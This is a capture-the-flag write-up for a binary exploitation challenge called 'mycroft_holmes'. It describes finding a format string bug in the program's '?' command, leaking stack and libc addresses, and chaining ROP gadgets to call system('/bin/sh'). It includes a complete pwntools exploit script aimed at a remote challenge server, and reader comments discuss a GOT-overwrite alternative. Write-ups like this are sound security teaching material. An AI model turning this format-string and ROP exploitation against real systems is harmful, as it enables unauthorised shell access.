Solved by 4rbit3r
I spent quite some time on this challenge trying to understand its working.
The binary given is quite huge and manages a lot of structure objects.
At first, I thought it might be some vulnerability related to the heap. And I spent a long time trying to reverse engineer the entire binary. After a couple of hours trying to understand the objects used, I got bored and decided to map the functionalities to the functions being called from the main function.
Following up on that, we see that there are couple of commands that are recognized by the binary. They are look, lk, hit, ?, exit, quit, stat, buy, status etc
The function of interest here is the functionality associated with the ‘?’ that starts address 0x4013f7.
It takes in a couple of arguments.
After debugging the program with some random inputs, I found that one of those arguments is a second input we can give alongside the question mark.
If the second input is ‘monsters’ or ‘weapons’, then the binary prints out the details of all the monsters/weapons that are present in the binary.
If the second input is neither of those two, then it simply calls print
with that second input leading to a format string bug.
So, all that reverse engineering was a complete waste of time.
Now, moving on to exploiting that vulnerability.
We are allowed to input a maximum of 256 characters including the question mark and the whitespace following it.
Every input is converted into lowercase before being processed further.
We first leak out the addresses of the stack and the libc using the format string bug.
After that, I had an idea to try and overwrite the GOT table entry of free with a one-shot-rce gadget. It worked locally, but didn’t work remotely (constraints weren’t met).
The next idea was to build a whole rop chain using the format string bug.
We could build a rop chain on top of the main’s stack frame to call system(‘/bin/sh’)
A pop rdi; ret
gadget was easy to find the in binary, but it is only 32 bits in length. Therefore, we would have to overwrite the 5th and 6th byte from the LSB with nulls which is not possible using format string.
Instead, we could use a pop rdi; ret
gadget from the libc which is 48 bits long.
Now after writing the address of /bin/sh and system on top of that, I noticed that the quit functionality was invoking exit()
rather than executing a leave; ret
.
So, in order to get over that, I overwrote the saved return address of the sub routine that implemented the ‘?’ functionality to point to a leave;ret
gadget.
This can be postponed until the rop chain on top of the main’s stack frame is completely set up. And the next time the sub routine is invoked, it’s saved return address get’s overwritten with a leave; ret
gadget. And that leads to our rop chain getting executed which pops a shell.
Now this doesn’t work all of the time. If the address of the stack or the libc contain bytes that lie in the region of upper case alphabets, then the script cannot run.
I dunno if the admins actually wanted to make the binary this complicated, or if this was an unintended bug. Anyways, writing the exploit made up for the boredom of reversing the whole binary.
Here’s the script
from pwn import * prompt = '> ' leave_ret = 0x00400c2a pop_rdi_ret = 0x2189b HOST, PORT = '178.62.249.106', 14273 def write_val(addr, val): payload = fit({0: '%{}x%160$hn'.format(val), 14: p64(addr)}) try_payload(payload) def write_64_bit_val(addr, val): for x in xrange(3): write_val(addr+(x*2), (val >> (16*x)) & 0xffff) def try_payload(payload): p.sendline("? "+payload) return p.recvuntil(">").strip(">") def validate(addr): for x in xrange(6): val = (addr >> x) & 0xff if val >= 0x41 and val <= 0x5a: log.failure("Not possible") sys.exit() if __name__ == "__main__": if sys.argv[1] == 'local': p = process("./mycroft_holmes", env={"LD_PRELOAD": "./libc.so.6"}) else: p = remote(HOST, PORT) p.sendline("s") p.recvuntil(">>> ") libc = ELF("./libc.so.6") output = try_payload('%10$p-%193$p').split("-") stack = int(output[0], 16) + 8 eip = stack - 0x5b0 log.success("Leaked stack @ {}".format(hex(stack))) libc.address = int(output[1], 16) - 0x20830 log.success("Leaked libc @ {}".format(hex(libc.address))) validate(stack) validate(libc.address) pop_rdi_ret += libc.address system = libc.symbols['system'] binsh = libc.search("/bin/sh").next() # # The difference between the saved return address of main and # pop_rdi gadget is only 2 bytes # write_val(stack, pop_rdi_ret & 0xffff) write_64_bit_val(stack+8, binsh) write_64_bit_val(stack+16, system) # # Binary calls exit if we request to quit # So, change saved eip of the sub routine to execute leave; ret; # Difference here is, again, less than 2 bytes # write_val(eip, leave_ret & 0xffff) p.interactive()
lol why couldn’t u just overwrite strtol with system ?? then pass “sh” and shell.
LikeLike
I did think of that. But the address of strtol in the GOT table is 0x604058.
And 0x58 corresponds to an upper case alphabet (X) which would be converted to 0x78 (x).
Didn’t find a way to circumvent that.
LikeLike